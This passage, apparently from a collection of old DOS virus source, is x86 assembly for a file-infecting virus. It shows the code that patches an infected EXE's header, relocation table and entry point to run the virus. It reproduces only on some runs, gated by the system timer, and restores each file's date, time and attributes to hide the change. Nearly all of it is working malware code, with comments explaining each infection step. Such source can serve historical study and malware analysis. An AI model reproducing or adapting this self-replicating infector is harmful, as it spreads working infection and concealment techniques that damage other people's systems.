maddenb.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

	mov     ah,40H                  ;DOS write function
	int     21H
	mov     dx,WORD PTR [FSIZE]     ;find 1st relocatable in code (SS)
	mov     cx,WORD PTR [FSIZE+2]
	mov     bx,OFFSET REL1          ;it is at FSIZE+REL1+1 in the file
	inc     bx
	add     dx,bx
	mov     bx,0
	adc     cx,bx                   ;cx:dx is that number
	mov     bx,[HANDLE]
	mov     ax,4200H                ;set file pointer to 1st relocatable
	int     21H
	mov     dx,OFFSET EXE_HDR+14    ;get correct old SS for new program
	mov     bx,[HANDLE]             ;from the EXE header
	mov     cx,2
	mov     ah,40H                  ;and write it to relocatable REL1+1
	int     21H
	mov     dx,WORD PTR [FSIZE]
	mov     cx,WORD PTR [FSIZE+2]
	mov     bx,OFFSET REL1A         ;put in correct old SP from EXE header
	inc     bx                      ;at FSIZE+REL1A+1
	add     dx,bx
	mov     bx,0
	adc     cx,bx                   ;cx:dx points to FSIZE+REL1A+1
	mov     bx,[HANDLE]
	mov     ax,4200H                ;set file pointer to place to write SP to
	int     21H
	mov     dx,OFFSET EXE_HDR+16    ;get correct old SP for infected program
	mov     bx,[HANDLE]             ;from EXE header
	mov     cx,2
	mov     ah,40H                  ;and write it where it belongs
	int     21H
	mov     dx,WORD PTR [FSIZE]
	mov     cx,WORD PTR [FSIZE+2]
	mov     bx,OFFSET REL2          ;put in correct old CS:IP in program
	add     bx,1                    ;at FSIZE+REL2+1 on disk
	add     dx,bx
	mov     bx,0
	adc     cx,bx                   ;cx:dx points to FSIZE+REL2+1
	mov     bx,[HANDLE]
	mov     ax,4200H                ;set file pointer relavtive to start of file
	int     21H
	mov     dx,OFFSET EXE_HDR+20    ;get correct old CS:IP from EXE header
	mov     bx,[HANDLE]
	mov     cx,4
	mov     ah,40H                  ;and write 4 bytes to FSIZE+REL2+1
	int     21H
					;done writing relocatable vectors
					;so now adjust the EXE header values
	xor     cx,cx
	xor     dx,dx
	mov     bx,[HANDLE]
	mov     ax,4200H                ;set file pointer to start of file
	int     21H
	mov     ax,WORD PTR [FSIZE]     ;calculate new initial CS (the virus' CS)
	mov     cl,4                    ;given by (FSIZE/16)-HEADER SIZE (in paragraphs)
	shr     ax,cl
	mov     bx,WORD PTR [FSIZE+2]
	and     bl,0FH
	mov     cl,4
	shl     bl,cl
	add     ah,bl
	sub     ax,WORD PTR [EXE_HDR+8] ;(exe header size, in paragraphs)
	mov     WORD PTR [EXE_HDR+22],ax;and save as initial CS
	mov     bx,OFFSET FINAL         ;compute new initial SS
	add     bx,10H                  ;using the formula SSi=(CSi + (OFFSET FINAL+16)/16)
	mov     cl,4
	shr     bx,cl
	add     ax,bx
	mov     WORD PTR [EXE_HDR+14],ax  ;and save it
	mov     ax,OFFSET VIRUS           ;get initial IP
	mov     WORD PTR [EXE_HDR+20],ax  ;and save it
	mov     ax,STACKSIZE              ;get initial SP
	mov     WORD PTR [EXE_HDR+16],ax  ;and save it
	mov     dx,WORD PTR [FSIZE+2]
	mov     ax,WORD PTR [FSIZE]     ;calculate new file size
	mov     bx,OFFSET FINAL
	add     ax,bx
	xor     bx,bx
	adc     dx,bx                   ;put it in ax:dx
	add     ax,200H                 ;and set up the new page count
	adc     dx,bx                   ;page ct= (ax:dx+512)/512
	push    ax
	mov     cl,9
	shr     ax,cl
	mov     cl,7
	shl     dx,cl
	add     ax,dx
	mov     WORD PTR [EXE_HDR+4],ax ;and save it here
	pop     ax
	and     ax,1FFH                 ;now calculate last page size
	mov     WORD PTR [EXE_HDR+2],ax ;and put it here
	mov     ax,NUMRELS              ;adjust relocatables counter
	add     WORD PTR [EXE_HDR+6],ax
	mov     cx,1CH                  ;and save data at start of file
	mov     dx,OFFSET EXE_HDR
	mov     bx,[HANDLE]
	mov     ah,40H                  ;DOS write function
	int     21H
	mov     ax,WORD PTR [EXE_HDR+6] ;get number of relocatables in table
	dec     ax                      ;in order to calculate location of
	dec     ax                      ;where to add relocatables
	mov     bx,4                    ;Location= (No in table-2)*4+Table Offset
	mul     bx
	add     ax,WORD PTR [EXE_HDR+24];table offset
	mov     bx,0
	adc     dx,bx                   ;dx:ax=end of old table in file
	mov     cx,dx
	mov     dx,ax
	mov     bx,[HANDLE]
	mov     ax,4200H                ;set file pointer to table end
	int     21H
	mov     ax,WORD PTR [EXE_HDR+22]  ;and set up 2 pointers: init CS = seg of REL1
	mov     bx,OFFSET REL1
	inc     bx                      ;offset of REL1
	mov     WORD PTR [EXE_HDR],bx   ;use EXE_HDR as a buffer to
	mov     WORD PTR [EXE_HDR+2],ax ;save relocatables in for now
	mov     ax,WORD PTR [EXE_HDR+22]  ;init CS = seg of REL2
	mov     bx,OFFSET REL2
	add     bx,3                    ;offset of REL2
	mov     WORD PTR [EXE_HDR+4],bx ;write it to buffer
	mov     WORD PTR [EXE_HDR+6],ax
	mov     cx,8                    ;and then write 8 bytes of data in file
	mov     dx,OFFSET EXE_HDR
	mov     bx,[HANDLE]
	mov     ah,40H                  ;DOS write function
	int     21H
	ret                             ;that's it, infection is complete!

;--------------------------------------------------------------------------
;This routine determines whether the reproduction code should be executed.
;If it returns Z, the reproduction code is executed, otherwise it is not.
;Currently, it only executes if the system time variable is a multiple of
;TIMECT. As such, the virus will reproduce only 1 out of every TIMECT+1
;executions of the program. TIMECT should be 2^n-1
;Note that the ret at SR1 is replaced by a NOP by SETSR whenever the program
;is run. This makes SHOULDRUN return Z for sure the first time, so it
;definitely runs when this loader program is run, but after that, the time must
;be an even multiple of TIMECT+1.
;
TIMECT  EQU     0               ;Determines how often to reproduce (1/64 here)
;
SHOULDRUN:
	xor     ah,ah           ;zero ax to start, set z flag
SR1:    ret                     ;this gets replaced by NOP when program runs
	int     1AH
	and     dl,TIMECT       ;is it an even multiple of TIMECT+1 ticks?
	ret                     ;return with z flag set if it is, else nz set


;--------------------------------------------------------------------------
;SETSR modifies SHOULDRUN so that the full procedure gets run
;it is redundant after the initial load
SETSR:
	mov     al,90H          ;NOP code
	mov     BYTE PTR SR1,al ;put it in place of RET above
	ret                     ;and return

;--------------------------------------------------------------------------
;This routine sets up the new DTA location at DTA1, and saves the location of
;the initial DTA in the variable OLDDTA.
NEW_DTA:
	mov     ah,2FH                  ;get current DTA in ES:BX
	int     21H
	mov     WORD PTR [OLDDTA],bx    ;save it here
	mov     ax,es
	mov     WORD PTR [OLDDTA+2],ax
	mov     ax,cs
	mov     es,ax                   ;set up ES
	mov     dx,OFFSET DTA1          ;set new DTA offset
	mov     ah,1AH
	int     21H                     ;and tell DOS where we want it
	ret

;--------------------------------------------------------------------------
;This routine reverses the action of NEW_DTA and restores the DTA to its
;original value.
RESTORE_DTA:
	mov     dx,WORD PTR [OLDDTA]    ;get original DTA seg:ofs
	mov     ax,WORD PTR [OLDDTA+2]
	mov     ds,ax
	mov     ah,1AH
	int     21H                     ;and tell DOS where to put it
	mov     ax,cs                   ;restore ds before exiting
	mov     ds,ax
	ret

;--------------------------------------------------------------------------
;This routine saves the original file attribute in FATTR, the file date and
;time in FDATE and FTIME, and the file size in FSIZE. It also sets the
;file attribute to read/write, and leaves the file opened in read/write
;mode (since it has to open the file to get the date and size), with the handle
;it was opened under in HANDLE. The file path and name is in USEFILE.
SAVE_ATTRIBUTE:
	mov     ah,43H          ;get file attr
	mov     al,0
	mov     dx,OFFSET USEFILE
	int     21H
	mov     [FATTR],cl      ;save it here
	mov     ah,43H          ;now set file attr to r/w
	mov     al,1
	mov     dx,OFFSET USEFILE
	mov     cl,0
	int     21H
	mov     dx,OFFSET USEFILE
	mov     al,2            ;now that we know it's r/w
	mov     ah,3DH          ;we can r/w access open file
	int     21H
	mov     [HANDLE],ax     ;save file handle here
	mov     ah,57H          ;and get the file date and time
	xor     al,al
	mov     bx,[HANDLE]
	int     21H
	mov     [FTIME],cx      ;and save it here
	mov     [FDATE],dx      ;and here
	mov     ax,WORD PTR [DTA1+28]   ;file size was set up here by
	mov     WORD PTR [FSIZE+2],ax   ;search routine
	mov     ax,WORD PTR [DTA1+26]   ;so move it to FSIZE
	mov     WORD PTR [FSIZE],ax
	ret

;--------------------------------------------------------------------------
;Restore file attribute, and date and time of the file as they were before
;it was infected. This also closes the file
REST_ATTRIBUTE:
	mov     dx,[FDATE]      ;get old date and time
	mov     cx,[FTIME]
	mov     ah,57H          ;set file date and time to old value
	mov     al,1
	mov     bx,[HANDLE]
	int     21H
	mov     ah,3EH
	mov     bx,[HANDLE]     ;close file
	int     21H
	mov     cl,[FATTR]
	xor     ch,ch
	mov     ah,43H          ;Set file attr to old value
	mov     al,1
	mov     dx,OFFSET USEFILE
	int     21H
	ret

FINAL:                                  ;last byte of code to be kept in virus

VSEG    ENDS


;--------------------------------------------------------------------------
;Virus stack segment

VSTACK  SEGMENT PARA STACK
	db STACKSIZE dup (?)
VSTACK  ENDS

	END VIRUS               ;Entry point is the virus